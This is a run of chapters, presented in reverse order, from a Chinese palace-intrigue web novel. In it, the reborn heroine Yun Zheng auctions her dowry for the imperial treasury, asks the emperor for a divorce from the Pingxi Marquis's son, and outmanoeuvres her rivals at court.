一些品阶低的官员急坏了,他们俸禄不高,日子过的紧巴巴的,“发钱,发钱,发钱。” 户部尚书被人群围在中间,脱不了身,又急又无奈,“安静,听我说,这钱吧,暂时发不了。” “为什么?” “这……”户部尚书满头大汗,冲手下使了个眼色,快去搬救兵。 云筝指使马车悄无声息的退到不起眼的角落,默默围观看戏。 她嘴角轻轻扬起,闹吧,将事情闹大,闹的全天下都知道,哈哈哈。 皇上,接招! 第55章 本朝没有和离,只有丧偶 所有人屏住呼吸,看向那个骄傲的女子。 是啊,骄傲而又明媚,像一团火焰般耀眼。 厉无恙深深的看着她,她比他想象的更勇敢,更坚韧。 她敢爱敢恨,绝决果断,闪闪发光,让人移不开眼。 但,皇上的脸色阴沉沉的,冷冰冰的喝道,“锦云,你知道自己在说什么吗?” 云筝知道那些对女性刻意打压的政策,也知道,提出和离,会跟皇上的心思相违逆。 但,她还是想试试,搏一把。 她神色严肃,声音清亮无比,“和离,各回各位,我回娘家当大小姐,叶宜蓁当她的侯府少夫人,让她和江闻舟双宿双飞,琴瑟和鸣,还请陛下成全。” 皇上脸色铁青,勃然大怒,“放肆,嫁鸡随鸡,嫁狗随狗,在你们两家写下婚书的那一刻,你生是江家的人,死是江家的鬼。” 宫殿内回荡着他怒吼的声音,众人浑身颤栗,不由自主跪下来,头也不敢抬。 帝王之怒,伏尸万里,不是说说而已。 云筝的心狂跳,脸色惨白,但,依旧挺直腰杆,“错了,也不能回头?” 皇上神色冰冷的可怕,“不能,本朝没有和离,没有休妻,只有丧偶。” 云筝无声的叹息,她失败了!“臣女明白了。” 不就是丧偶嘛,懂了! 皇上定定的看着她,聪明有本事,但还是天真了。 “死了这条心,好好的过日子,年轻夫妻多磨合,时间长了,有了孩子就好了。” 他放软语气,“有朕和皇后看着,平西侯府不敢再欺辱你。” 云筝眼神微闪,看来,她还有利用价值,好事。 她露出一抹娇憨的笑,“那,皇上给我题一幅字吧,让平西侯府知道您对我的重视。” 气氛忽然变的轻松起来,好像什么事情都没有发生过。 皇上怔了怔,众人也震惊了,怎么变脸跟翻书似的? 难道,之前的请求只是说着玩的? 云筝笑颜如花,“听闻皇上写了一手好飞白,若能……得到君王的一份手书,那将是臣女的荣幸。” 皇上不想给她这个面子,但看了厉无恙一眼,又看了看云筝腰间的玉玦,勉强接话道,“谁说朕的字好?” “这不是人尽皆知的事吗?”云筝顺口夸了几句,“皇上的书法堪称一绝,能跟前朝书圣相提并论,将来,这艺术成就也会留名青史,让无数后人称道。” 三皇子惊呆了,不要脸,父皇的字普普通通,怎么能跟前朝书圣比? 但,皇上严肃的表情渐渐和煦,嘴角微微上扬。 忽然,皇上开口说道,“朕给你两个选择,一是,替平西侯府求情,二是,给你家店铺提字。” 云筝明知这是试探,但,面上不露,带着一丝富家女的天真娇憨,“这……” 三皇子扬声道,“快选一,你是平西侯府的儿媳妇,要以平西侯府的利益为重。” 这是故意恶心她,想和离,做梦去吧,这辈子都跟着平西侯府绑在一起,为平西侯府做牛做马。 云筝板着小脸,“皇上赏罚分明,是难得一见的圣君,我又岂能为了一己之私,而坏了皇上的清名?我不能那么自私,只好忍痛选二。” 皇上发现她特能说,还尽往大义上套。“那是你的夫家。” 云筝义正言辞的表示,“父亲从小教导我,忠孝不能两全,忠在前,无论何时,忠君爱国永远摆在第一位。” “我可能会被骂不孝,但,这是我的选择,无怨无悔。” 三皇子不敢置信的看着她,怎么会有这么无耻的人? 明明是不想给平西侯府求情,却说的这么道貌岸然,满口大道理。 但,这话政治正确,符合朝廷和君权的需求,无法反驳。 皇上扬了扬眉,此女很聪明,但被保护的太好,没被生活毒打过,受不得一点委屈。 说的好听是性情直率,不够圆滑。说的难听,就是心思太浅,不足为患。 倒是,她一身经商的本事可以利用起来。 “几日后,就是第二场拍卖会,来自全国各地的商人齐聚一堂,你却不打算拍卖了,就不怕他们闹事吗?” 云筝暗骂一声,狡猾,“不怕,我是打着官府的旗号,闹事就是造反。” 众人噎住了。 皇上:……从未见过如此厚颜无耻的女子。 “你已经被文武百官弹劾,还敢再抛头露面?” 云筝不但不怕,反而来了精神,“谁弹劾我?” 皇上冷哼一声,他不会告诉她,这一笔钱还没有发下去,被他扣下了。 “怎么?还想打击报复?” 云筝面有愤愤之色,“我把他们列入小本本上,取消给他们的分成,一文钱都不给。” “端着碗骂娘,不能惯着他们,此风不可长。” 皇上眉头一皱,就在此时,耳边传来厉无恙的声音,“皇兄,臣弟觉得这一笔钱应该充公,归入明镜司。” 皇上默了默,有些心疼,这笔钱本打算用来修葺行宫的。“准。” “三皇儿,下次拍卖会你去给锦云打下手,多学着点。” “是。”三皇子心里不服气,上次是因为无本买卖,拍卖嫁妆换点钱,这算什么本事。 但,这次嘛,跟全国商贾做生意,才能考验一个人的本事。 一边安静的江城郡主忽然开口道,“皇上,我也想去见见世面。” 皇上淡淡的道,“问问锦云。” 云筝在心里吐槽,刚才怎么不问她?呵呵。 “郡主若愿意来,那是我的荣幸。” 江城郡主眼睛亮晶晶,“我保证不会添乱。” 走出宫门坐上马车,云筝长长吐出一口气,这才发现后背湿透了。 这一关算是过了! 坐在对面的厉无恙瞥了她一眼,“恭喜你,顺利通过皇上的考察。” 云筝擦了擦额头的汗,“那要多谢九千岁的提点。” 厉无恙提前预判了一切,告知了皇上的喜好和性格,云筝为此量身定制了几个方案,这不就用上了。 皇上不喜欢心机深,太过聪明的女子,不好掌控。 他猜忌心重,对一切危险因素都会提前绞杀,让她进宫来,是评估她这个人。 所以,她一直在演。 “王爷,皇上这么变态,是不是被女人抛弃过?” 厉无恙向来清冷的表情瞬间崩塌,扑过去捂住她的嘴。 闭嘴吧! 第54章 皇上,请允许我和离 三皇子扎心了, “九皇叔,我是您的亲侄子,亲的。” 为什么要帮着别人说话? 厉无恙漫不经心的把玩着玉扳指,“跟别人伸手索要,那是讨饭,我们皇室丢不起这个人。” 三皇子:……md,要不是亲叔,高低要给他几拳。 算了,他不敢! 他赶紧岔开话题,“云筝,我终于知道江闻舟为何不喜欢你了。” 他以为这话能扎痛云筝,但,云筝不痛不痒,“他眼瞎,爱吃臭狗屎呗。” 帝后面面相觑,没想到她是如此狂放的女子。 江城郡主差点失去表情管理,脸憋的通红,赶紧低头掩饰。 三皇子冷笑一声,“粗俗不堪,这是君前失仪,来人,把她拖出去打板子。” 他扣了一个大帽子,只想出一口恶气。 厉无恙清冷的声音响起,“你父皇还没有发话,何时轮到你作主?” 三皇子又气又急,“九皇叔,你为什么帮着她?” 厉无恙直言不讳,犀利如刀,“她能为国库挣钱,你不能。” 大齐一年的税收在五千万左右,她一个人填上了五分之一,空缺的国库终于能缓一口气了。 三皇子直瞪眼,瞎说什么大实话?讨厌! 云筝义正言辞的表示,“若为国尽忠成了一种罪,那么,以后天下黎民谁还敢忠君爱国?” 皇上定定的看了她半晌,“说的好,来人,赐座。” “谢皇上恩典。”云筝坐在一边的座位上,敛眉低垂,安静乖巧的模样。 皇上不得不承认,云筝是家学渊源,天生的商人,做生意很有一套,脑子灵活。 眼下,国库空虚,急需一个敛财的能臣,可惜,她是女子。 “户部尚书夸你能干,若是男子,想让你去户部当差,说这话时遗憾的不行。” 云筝小心试探道,“那,不拘一格降人才?让我当女官?” 皇上顿时板起脸,冷漠的说道,“女子不得干政。” 云筝无声的叹气,纵观当今圣上登基后的一系列决定,很难评。 跟她息息相关的有三项,一,重农抑商变本加厉。二,大力鼓吹女子无才便是德,要三从四德。三,将贞节牌坊当成地方官的政绩。 哎,后两项是对女性的约束和残酷压制。 皇后轻咳一声,打断沉寂,“叶宜蓁抄的女戒可有带来?” “啊,这……”云筝一脸的为难,欲言又止。 “怎么回事?忘了?”皇后笑着打趣道。 侍立在一边的李嬷嬷上前一步,“禀娘娘,江二公子一大早来堵门,说叶氏给婆母侍疾病倒了,抄不了女戒,让乡主替她说好话。” 这话不能由云筝说,她是当事人,很难取信于人。 但李嬷嬷不一定,她出自皇宫,在帝后心里算是自己人。 “但,昨晚叶氏还生龙活虎的,还让老奴跟着她混,老奴不愿意,她还对老奴喊打喊杀。” 她狠狠上眼药,“他们这对叔嫂对老奴随意辱骂,对宫中也颇有怨气。” 皇后脸色一沉,打狗还看主人!她是后宫之主,绝不能坐视别人挑战她的权威 “皇上,平西侯府对皇室没有半点敬畏之心,完全没有自省之意啊。” 皇上的脸色也不好看,李嬷嬷是宫中出去的,代表着宫中的颜面,怎么能随意打杀? 江闻舟不仅仅说谎欺君,还这么急着挖宫中的墙角?这是想干什么?打探宫中的消息? 一时之间,他的思绪散发开来,想的有点多。 三皇子偷偷看了父皇一眼,抢先一步开口。 “锦云乡主,不是让你监管叶氏吗?你怎么没做到?” 这是替平西侯府转移火力?云筝的眼睛微眯,看来,一切早就有迹可循。 “怎么管?她是江二公子的心头肉,流一滴眼泪,江二公子就觉得是我害的,恨不得杀了我。” 三皇子极力替他开脱,“江二公子温文儒雅,极讲道理,他不会有错的!” 云筝有些恍然,但又觉得不可思议,不动声色的试探,“对对对,他为了叶宜蓁骗婚,瞒着云家兼祧两房,没错。” “他为了叶宜蓁的库房充盈起来,就来抢我的嫁妆送她,没错。” “他为了叶宜蓁勇闯明镜司,冲九千岁大声咆哮,没错。” 随着她的话,大家的表情很精彩,桩桩件件都挺无耻的。 三皇子的脸色越来越黑,“好端端的干嘛扯上九皇叔?你这是借机挑事!” 云筝睁着一双无辜的眼睛,“三皇子,你这么维护他们,不顾道义,不顾公理,闭着眼睛说瞎话。” “那么,问题来了,江闻舟和叶宜蓁,哪个是你的心上人?还是……都是?” 众人:……这是什么虎狼之词?! 帝后心神大震,不由自主的看向三皇子。 厉无恙把玩着茶杯,凉凉的视线落在三皇子的某个部位,“三皇子,看不出来,你玩的这么花啊。” 三皇子下意识的缩起身体,气的浑身发抖,面色通红,“我不是,我没有,我冤枉的。” 厉无恙轻轻叹气,“皇兄,您可要好好管教他,别让他走上歧路。” 皇上不介意儿子多找几个女人,但,找男人不行!孤阴不生,孤阳不长,阴阳合则万事生,这才是天道。注(1) “皇后,春日宴多挑几个女子,把老三,老四的婚事都办了。” “是。”皇后立马应了,大皇子二皇子去年已经大婚了,就是没有生娃。 三皇子快气哭了,他们不会都信了吧?他的清白,他的自尊! “云筝,你妖言惑众,你……” 云筝笑眯眯的挖坑,“你以后不要去找他们玩,清者自清嘛。” 相信,有了今日的事,皇上会一直盯着三皇子的行踪,一旦跟平西侯府接触,那就……嘿嘿。 三皇子更急了,怎么行?他还想将平西侯府拉进自己的阵营! 皇上不忍儿子再出丑,微微蹙眉,主动打断道,“锦云,你这次干的不错,有功,想要什么尽管开口。” 他只是说说,谁敢当真? 云筝起身行了一个大礼,“为君王分忧是臣女的本份,不敢夸功。” 她深吸一口气,决定放手搏一把,拼了! “不过,我实在不忍心江闻舟为了心爱的人闹的鸡飞狗跳,侯府上下不得安宁,我也不想耗下去了,皇上 ,恳请您允许我们和离!” 这话一出,气氛一下子凝固,安静的可怕。 她,疯了? 第53章 三刀,刀刀致命! 前世,机缘巧合下,云筝知道这丹书铁券不仅仅是免死券,还有着特殊的作用。 而,这特殊性只有历代平西侯口口相传。 她瞥了江闻舟一眼,果然,他很茫然,似乎惊讶父亲为何如此失态? 所以,为何如此谨慎?又为何有人不辞辛苦,一直在暗中寻找丹书铁券? “在江南偶尔听说的,原来,侯府真有丹书铁券,我还以为是传说呢。” 平西侯紧紧盯着她,见她神色坦然,眼神不闪不避,忍不住怀疑,或许真是巧合? 他越是如此,云筝越想知道这其中的秘密,“要不,你拿着丹书铁券去试一试?” 平西侯心思飞转,她不可能知道的,这世上只有他和皇上知道那个秘密。 “那是第一代平西侯折了半条命,用赫赫战功换来的,也是留给子孙后代保命用的,岂能随意拿出来?” 云筝不动声色的试探,“是保命符?还是催命符?就不好说了,侯爷,要是换了你,能忍受别人手里有制约侯府的东西吗?” 平西侯闻声色变,“别瞎说,我们侯府还没到山穷水尽时。” 云筝微微一笑,转身就走,江闻舟急急把她叫住。 ”云筝,若宫中问起叶宜蓁,你就说,叶氏为婆母侍疾,病倒了,没法抄完女戒。” 他为了维护叶宜蓁,居然让云筝欺骗皇后娘娘,皇后也是君,欺君之罪可不是闹着玩的,若是被查出,倒霉的是谁? 云筝眉眼冷了几分,迈开脚步往前走。 江闻舟急急的跑去阻拦,“云筝,我希望你能明白,你和平西侯府是利益共同体,荣辱与共,祸福同享,只有平西侯府好了,你才能好。” 他们父子反复跟她灌输这个道理,想给她洗脑。 “我保证,会给你一个亲生孩子,让你的后半生有保障。” 云筝打了个冷战,恶心谁呀? 她的态度还不够明显吗?为什么他还觉得她是在争宠? “若误了时辰,你负责?” 江闻舟只能停下脚步,目送云筝远去的背影,气恼不已,“父亲,云氏太桀骜不逊,格局太小,只拘泥于小情小爱,不堪为侯府的主母。” 平西侯微微蹙眉,“当务之急就是哄好她,她跟九千岁搭上了线,若有九千岁当靠山,我平西侯府还愁什么?” 江闻舟满心的屈辱,但为了世子之位,只能低头,“是。” 马车外表看着普通,但里面极为奢华舒适,铺着虎皮的软榻能躺下,下面铺着厚厚的毯子,角落里,小红炉袅袅生烟,发出噗呲噗呲煮茶的声音。 茶香在马车慢慢弥漫,云筝不敢多喝,就喝了两口茶,又吃了几块小点心垫垫肚子。 当她从马车走下来,看着巍峨的宫墙,一颗心不由的绷紧。这里是大齐皇朝权力的中心,皇帝啊,是一言不合就诛九族的人。 前世的经历告诉她,在专制皇权统治下,金钱纵然能带来刹那辉煌,但也是引火烧身的祸根,稍有不慎,便万劫不复。 云家的败落,一是信错了人,被盯上恶意围剿。二是,在朝中没有自己人,那些所谓的靠山因利益而来,也会因利益土崩瓦解。 立秋带着明镜司的兄弟迎了过来,“乡主,我家主子还在前朝议事,嘱咐我过来送您一程。” 云筝的心忽然安稳了,果然,抱对大腿就是好!“多谢。” 立秋将云筝一行人送到坤宁宫,云筝被宫人接进来时,回头看了一眼,立秋还守在宫墙边,有什么事叫一声就行了。 她的胆子立马大了,有了底气。 “参见皇后娘娘,皇后娘娘金安。” 她举止大方的行礼,如行云流水,一套谢恩礼仪下来丝毫不差,优雅又从容。 皇后有些惊讶,这跟她想象中的商贾女截然不同,她还以为是嚣张跋扈,无理也要争三分的人。 她拉着云筝的手细细打量,“让本宫看看,长的好标致。” 云筝也不怯场,“谢皇后娘娘夸赞。” 皇后娘娘无意为难她,云筝也是来走个过场,又没有利益纠葛,双方的态度都很平和的聊几句。 云筝不动声色的夸了夸,把皇后娘娘哄的眉开眼笑,态度更亲切了。 就在云筝觉得差不多了,该找借口退场时,一道威严的声音响起。 “皇后何事这么开心?” “皇上驾到,九千岁驾到,三皇子驾到,江城郡主驾到。” 众人纷纷跪地迎接,一群人哗啦啦的走进来,厉无恙一眼就看到了人群中极为醒目的云筝,她还挺适合这一身庄重的乡主礼服。 皇上挥了挥手,“平身吧。” 大家纷纷起来,云筝上前谢恩,举止不卑不亢,进退得宜,气质沉静如水。 皇上的视线落在她脸上,打量了一会儿,视线往下移,落在她腰间的玉玦上,目光顿了顿,随后转头招呼厉无恙喝茶。 厉无恙依旧惜字如金,神色淡漠。 云筝大大方方的看了他一眼,厉无恙微微颔首,算是打招呼。 两人的互动被皇上看在眼里,忽然说道,“早朝文武百官弹劾你抛头露面,不安于室,要废除了你乡主的爵位,你可有话说?” 换了别人,恐怕早就吓坏了,但云筝不慌不忙的回道,“皇上金口玉言,岂是朝令夕改的人?我绞尽脑汁不眠不休,为国出力,为君王分忧,忠心天地可鉴,而有些人啊,就知道弹劾别人找存在感。” 划重点,我是功臣,那些弹劾的家伙吃饱撑着了。 三皇子冷哼一声,“好一张巧嘴,你一个女儿家抛头露面,是事实吧?” “是。”云筝神色平静无波,有九千岁在,她怕啥呀? 三皇子故意嘲讽道,“好好一个女儿家,怎么熏了一身铜臭味,张口闭口谈钱,还为了几两银子抛头露面,丢尽天下女子的脸。” 云筝暗暗吐槽他小鸡肚肠,一本正经的说道,“三皇子此话差矣,那是几两银子吗?那一共是1161.92万两银子,您一个大男人抛头露面挣了多少钱?二千万两银子,有吗?” 皇后倒抽一口冷气,多少?她没听错吧?一千万两银子? 三皇子:……可恶,会挣钱了不起啊!炫什么炫! 他绝对不承认,是酸了! 皇上:……忽然觉得儿子好废物,还没有一个女子厉害!能换吗? 厉无恙嘴角微微上扬,“他没有,他不行,他嫉妒。” 三刀,刀刀致命! 第52章 买一送一,你是我家小姐的搭头 管家小心翼翼的回答,“侯爷去了家学,考究几位公子的学问。” 如一盆冷水从头浇下来,浇的江闻舟透心凉,浑身发抖。 父亲,也要放弃他了?! “不会的,不可能的,我是父亲最骄傲,最看重的儿子,满府只有我最有出息,文武双全,是最有前途的后起之秀,其他人都是废物!” 他的情绪彻底失控了,喊的歇斯底里。 叶宜蓁看在眼里,心口如被一块大石头压着,难受的要命。 “江哥哥,我们还有机会。” 江闻舟心情糟糕透了,“没有了。” 叶宜蓁拽着他的手,强迫他看着自己,对着他无声的说了一句,“有,从龙之功。” 如一道灵光闪过,江闻舟的眼睛刷的亮了,对,从龙之功,提前投资下一任帝王,成为新帝的心腹。 如此一来,别说世子之位了,侯爵换公爵,也有可能! 他挥退所有人,神色紧张而又兴奋,“你说的对,但挑谁呢?” “当今圣上膝下有六位皇子,大皇子是贵嫔所生,不怎么受重视,二皇子右腿残疾,不可能上位。” “三皇子是贵妃所出,最受宠爱,四皇子是皇后养子,算是半个嫡子,也有机会。” “五皇子是宸妃所出,年纪还小,六皇子还是个奶娃娃。” 叶宜蓁抿了抿嘴,很为难的样子,“我一个妇道人家哪懂这些国家大事,不过,我听说一句话,立嫡立长,立贤立爱。” 江闻舟微微蹙眉,“你是说,三皇子和四皇子最有机会?” 叶宜蓁知道男人不喜欢太聪明的女人,她不会像云筝那个蠢货锋芒毕露,“这是大事,你先接触一下几个皇子再说吧。” 理是这个理,但,江闻舟很为难,“我都出不去。” 叶宜蓁眼神微闪,“过几日就是皇后娘娘举办的春日宴,到时皇子和公主们都会出现。要是我们能参加就好了,我还能交际应酬,让你免去后顾之忧。” 她之前以表小姐的身份养在平西侯府,由于各种原因,她没有在大场合露面过,但江闻舟觉得,以叶宜蓁的善解人意,一定有很多人喜欢她。 不喜欢她的,都是不识货的瞎子,或者是嫉妒心重的。 “蓁蓁,你太聪明了,不愧是我的贤内助,我发誓,这辈子只有你一个妻子,不纳二色。” 叶宜蓁心中暗喜,“那,云筝呢?” 江闻舟一听这名字,就烦躁不已,“我不会妥协的,她只有几个臭钱,万万是比不上高贵出尘的你。等我建功立业,让你尽享荣华富贵。” 叶宜蓁深情款款的看着他,“好,我相信你,总有一天会成为人人仰慕的大人物。” 江闻舟感动万分,将叶宜蓁紧紧拥在怀里,却没有看到,叶宜蓁眼神闪烁不定。 就在此时,外面传来喧哗声,打扰了沉醉在甜蜜中的男女。 李嬷嬷走了进来,江闻舟眉头一皱,“李嬷嬷,你来自宫中,但这规矩马马虎虎,难怪教出来的学生一塌糊涂,上不了台面。” 李嬷嬷板着脸,一丝不苟,“我的规矩太后娘娘都夸好,难道你比太后娘娘还有权威?” 为了上次抢嫁妆一事,彻底结下了梁子,每次有事来梧桐院,李嬷嬷都是主动请缨。 江闻舟的脸色一变,“我不是这个意思。” 李嬷嬷是真心瞧不上他,侯门公子抢嫁妆,真是天下奇闻。 “我奉命前来收取叶氏所写的女戒。” 叶宜蓁脸绿了,她没有写多少! 江闻舟板着脸喝斥,“回去告诉云筝,别拿着鸡毛当令牌,蓁蓁的事还轮不到她管。” 李嬷嬷转身就走,“行吧,明日我家小姐进宫谢恩,我将随行,到时会如实告知皇后娘娘。” 叶宜蓁不禁急了,这不是要她的命吗? 她赶紧叫住李嬷嬷,“且慢, 李嬷嬷,你是有本事的,我很欣赏,不如以后跟着我吧。” 李嬷嬷在深宫中混了几十年,能混出头的都是人精,她将这侯府的诸人都琢磨过了。 江闻舟脑子不清楚,恃才傲物,自以为是,叶宜蓁表面清纯,与世无争,其实心思最恶毒,但她聪明,会利用身边的人行事。 “跟着你?” 叶宜蓁想拉拢李嬷嬷,在云筝身边埋一颗棋子,还能跟宫中搭上线。 她面带笑容,轻声细语的说道,“我知道你是听令于宫中,才不得不出宫侍候云筝,以姑姑的资历实属是委屈了,而我最大的优势,是世子跟我两情相悦,我一定会有子嗣继承爵位,但,云筝就不好说了。” 女人嘛,只要有男人的宠爱,有子嗣傍身,就是最大的赢家。 这是多少钱也换不来的。 她郑重其事的请求,“若我能得到姑姑的相助,姑姑就是我的至亲,我给你养老送终。” 李嬷嬷承认她很聪明,但,心术不正,不值得托付信任的人。“你拿什么养我?你穷的平西侯府都不愿让你单独进门,非要买一送一,嗯,你是我家小姐的搭头。” 叶宜蓁气的差点吐血,恶奴! 江闻舟生气的怒骂,“你怎么跟主子说话的?” 李嬷嬷冷笑一声,“王嬷嬷死无葬身之地,不知道有没有后悔没跟对主子。” 连相依为命十几年的奶嬷嬷都能抛弃,谁还敢为她卖命? 扔下这句话,她扬长而去。 每一个字都扎在叶宜蓁心口,脸色青白相交,很是难看。 而江闻舟将仇都记在云筝头上,一定是她挑唆的。 “能被银子收买的老货,能是什么好东西?蓁蓁,你别难过,等我搭上线,也给你找两个宫中老嬷嬷侍候。” 一大早 ,云筝就起来了,穿上宫中特意送来的乡主礼服和相匹配的饰物。 她从梳妆盒里翻出那块玉玦,犹豫了一下,还是捡起来挂在腰间。 皇宫是世间最繁华之地,也是人心最险恶之所。 “走吧。” 进宫人数有限,云筝只带上了紫烟和李嬷嬷,一行人走到二门,就被平西侯父子拦住了去路。 “筝儿,为父求您一件事。” 云筝不动声色的打量这对父子,好像都没有睡好,眼圈好重,嗯,她开心了!“侯爷请说。” 平西侯定定的看着眼前的女子,她驾驭住了这一身庄重的礼服,显得端庄大气,威仪十足。 “若是能见到皇上,帮侯府求个情,我们侯府对大齐有功的,请皇上看在祖辈的功绩上,饶了我们这一回,我们都知罪了。” 云筝神色平静,“侯爷,这么简单的事情你自己可以搞定,何必求我?” 江闻舟的火气压不住,“你找什么借口,就问你愿不愿意吧?” 云筝微微一笑,“只要拿出丹书铁券,一切都能迎刃而解。” 如一道惊雷砸下来,平西侯变了脸色,“你怎么知道丹书铁券?是谁告诉你的?” 其实, 这里面有一个秘密,只有极少数人知道的绝密。 这也是平西侯府永远不会倒下,与国同休的真正原因! 第51章 前世不为人知的秘密 其实,云家的生意能做的这么大,是投靠了江南总督,毕竟,江南这地界他说了算,怎么也绕不开他。 云家付出了很多,但,欲望是欲壑难填的。 当时,想吃绝户的不仅仅只有一家。 就在云家积极自救时,江南总督的小继妻,平西侯府江振的庶妹江淑蓉从中周旋,亲自保媒侯府这门亲事。 原以为嫁进侯府,就能保一世平安,谁知,是掉进了狼窝…… 前世,困在侯府后院的十年,云筝反复复盘,琢磨出了这桩婚事背后不为人知的秘密。 她在复盘中痛彻心扉,也在痛苦中疯狂成长。 那十年,她并没有虚度,可惜,一步错,步步错,从一开始就失了先机。 云父面有愁容,“我们得罪不起江南总督,他背后是那位主子。” 江南总督出身贫寒,但,走了狗屎运。 他娘是当今圣上的奶娘,他成了皇上最信任的奶兄,等皇上登基掌权,他就一路平步青云,权势滔天。 云筝冷笑一声,“他真想封产业,就不会写一封信质问,若我没有猜错的话,他是在试探。” 云父有些不明白,“试探?” 云筝心里有数,“试探我们是不是真搭上了九千岁。” 能让江南总督顾忌的人不多,九千岁是其中之一。 “父亲,别担心,我来写一封回信。” 信中,云筝以云父的口吻将女儿出嫁后的事情简单说了一下,着重指出,遇人不淑,不得已上交嫁妆,如今云家的家产一半上交国库,一半要归九千岁,只为换取平安。 还说,想封江南产业,就先请示皇上和九千岁,云家做不了主。 还质问,江南总督夫妻是不是事先就知道了平西侯府骗婚一事?是不是助纣为虐? 最后,还说了一句,这封信会送到九千岁面前,请他示下。 云父看着这一封软硬兼施的信,心情很复杂,“筝儿,你成熟了很多,考虑问题更周全,性情也变的更强势。” 出嫁前,她被保护的太好,没有经历过残酷的失败,也没见过真正丑陋的人性,她很聪明机灵,但有些少女的天真浪漫,对未来的美好憧憬和向往。 而现在,她还在笑,但那些浪漫明媚都消失了,换而代之的是,眼中的清冷疏离和疯狂。 怎么说呢,是一种平静的疯感。 云筝微微一笑,扯着虎皮当大旗,挺好的。 “父亲,我们云家危机重重,盯着我们的人太多,所以,我才将嫁妆这么处理,但我保证,总有一天我会将您和母亲的心血全部找回来。” 女子的嫁妆是从一出生攒起来的,是父母十几年的心血和爱意。 云筝这么处理嫁妆,心在滴血,恨的咬牙切齿,但,还得强颜欢笑,不让任何人看出来。 云母的眼眶红了,紧紧搂着女儿的身体,“这不重要,重要的是我们一家人好好的活着,筝儿,你要好好的活着。” 云父轻抚女儿的脑袋,心绪难平,难,实在太难了。 云筝窝在母亲的怀里,闻着母亲熟悉的味道,眼眶也红了。 是,他们都要好好的活着。 江南总督,钱维,总督夫人,江淑蓉,三皇子,都在她的黑本本上。 嗯,她的仇家有点多,不着急,一个个来,一个个的干掉! 角落里的鬼医看着这一幕,情绪很复杂,他发誓,一定要保护云家人。 为了孙子的前程,为了安家的未来,他什么都敢干! 云筝累了一天,刚回侯府就被拦住了去路。“二少夫人,二公子让您去侍疾。” 来的是江闻舟的贴身小厮,态度很强硬。 怎么又来了?还不死心?云筝浑身疲惫,只想回房泡个热水澡,好好睡一觉。 她看了身边的季嬷嬷一眼,季嬷嬷立马轻喝道,“我们忙着公务抽不开身,叶氏要是没法侍疾,那就休了她,没用的东西。” 哪家的公主县主郡主给婆婆侍疾的?走个过场就行了。 乡主虽小,但也是爵位。 小厮也不强求,“您若没空,那让下人拿些药材和补品去探望夫人吧,这是清单。” 云筝看着清单气笑了,敢情是为了捞好处,侯府穷的都没钱买药了? 百年老山参?鹿茸?冬虫夏草?虎骨?血燕?雪蛤? 她有,但不会给! “你来晚了一步,都拍卖光了。” 小厮眼珠一转,“那,给两万两银子,我们自己去买。” 云筝明白了,人家就是为了钱。 “都上交国库了,请侯爷上书,请求当今圣上特意拨一笔款,给侯夫人治病。” 这话传出去,会成笑柄的。 小厮碰了一鼻子灰,回去后添油加醋,“二少夫人说,忙着呢,没空侍候一个老太婆。” 侯夫人气的差点吐血,还上书皇上,特意拨款治病?嫌侯府还不够倒霉吗? “我上辈子到底做了什么孽,娶进来的两个儿媳都是丧门星,没有一个好的。” 江闻舟听不下去了,“母亲,你骂云筝就别带上蓁蓁,蓁蓁日夜侍候您,都累瘦了。” 侯夫人恶狠狠瞪着灰头土脸的叶宜蓁,“她要是个好的,给婆母买药材和补品啊。” 她觉得,她的病一直不好,就是因为没有用上名贵的药材! 叶宜蓁的脸色很难看,她哪有钱? 整天钱钱钱,烦死了,该死的云筝,她为什么不把万贯嫁妆送给自己?为什么要上缴国库? 该死的! 侯夫人心中有气,拿捏不了云筝,却能拿捏叶宜蓁,将她指使的团团转。 叶宜蓁累的不行,连女戒都没有时间抄了,这样下去不行,她得想想办法。 “夫君,她这是大不孝,皇上若是知道,一定会收回乡主的爵位。” 江闻舟心知肚明,这爵位不光是赏云筝的捐献之功,还是故意恶心他。 谁让他吃了千年血参,皇上都没有动的东西,臣子碰了,能饶了他? 有明镜司在,他居然还想蒙混过关,他太天真了。 皇上在位一日,他就休想翻身,想明白了这一点,他的情绪很低落,“父亲呢?” “这……”管家一脸的纠结。 “说!”江闻舟有种不好的预感。 管家迟疑了一下,说出了一个让江闻舟崩溃的消息,他如遭晴天霹雳,眼前一黑…… 第50章 心碎!后悔莫及!悔的肠子都青了! 门被推开,户部尚书盘帐回来了,兴奋的满面通红。 “禀王爷,下半场的拍卖收入488.19万,按照事先的约定,六部九卿,户部二份,明镜司二份,皇上两份,宗室一份,一共21份,去掉成本开销,每个部门能分到20万两左右,我们两家能分到40万。” 一天入账40万,这比抢钱还要快。 这还是,云筝将二十八件珍品撤下来的情况下,否则,这估值不可想象。 之前拍卖都是三折卖,今日是翻了好几倍,这首开先例都值得纪念和借鉴。 厉无恙淡淡的问道,“今日的餐食呢?” 这账都是透明的,每一文都能查出来。户部已经算了半天的账,反复盘了三遍,不会错的。 “一共挣了42.17万两。去掉成本,人工,场地费等等,利润在35万左右。” 户部尚书一颗心怦怦狂跳,什么叫挣钱如流水的,这就是。 “那个……刚才说,利润的三分之一给户部,是吧?” 九千岁的侍卫不干了,“您嫌弃,所以归明镜司了。” 户部尚书一张老脸笑的如菊花,谄媚极了,“王爷,能商量一下吗?” 啊啊啊,他后悔了!让他把那句话收回去!求! 厉无恙看着长长的账单,每一列都清清楚楚,不知怎么的,他心中涌起一丝异样,下意识的看向角落里的云筝。 云筝神色淡漠,没有一丝感情。 如果可以,谁愿意将辛苦攒来的嫁妆上交?谁愿意亲手卖出去? 她会牢记今日的屈辱,倾尽所有往上爬,站在最高处,谁都不能再威胁她! 察觉到他看过来,云筝嘴角扬起一丝灿烂的笑,仿佛刚才淡漠的不是她。 厉无恙的心莫名的不舒服,像被针扎了下。 她刚才在想什么? “覆水难收。” 吞下肚子里的肥肉,怎么可能吐出来? 户部尚书心碎!后悔莫及!悔的肠子都青了! 他转头看向云筝,“锦云乡主,帮忙求个情。” 云筝已经恢复如常,看不出异样。 她眼珠滴溜溜的转,狡猾如狐,“我可不敢,不过……” 户部尚书精神一震,“不过什么?” 云筝微微一笑,“如果我云家有了皇商资格,我心情一好,就愿意帮着求求情。” 云家之前不光自己开商号,还给几家皇商供货,情况非常复杂,暗中更是波涛汹涌。 如今,她想单干了。 户部尚书呆了呆,“皇商?这归内务府管。” 云筝也不纠缠,“哦,那算了。” 她怎么不多求几句,户部尚书很郁闷,“我可以帮你牵个线,但不能保证结果。” 皇商的资格哪是你想要就能要的,其中的利益错综复杂,名额是限额的,踢掉一家,才能进去一家。 所有皇商背后都有人,你要取而代之,哪有那么容易的? 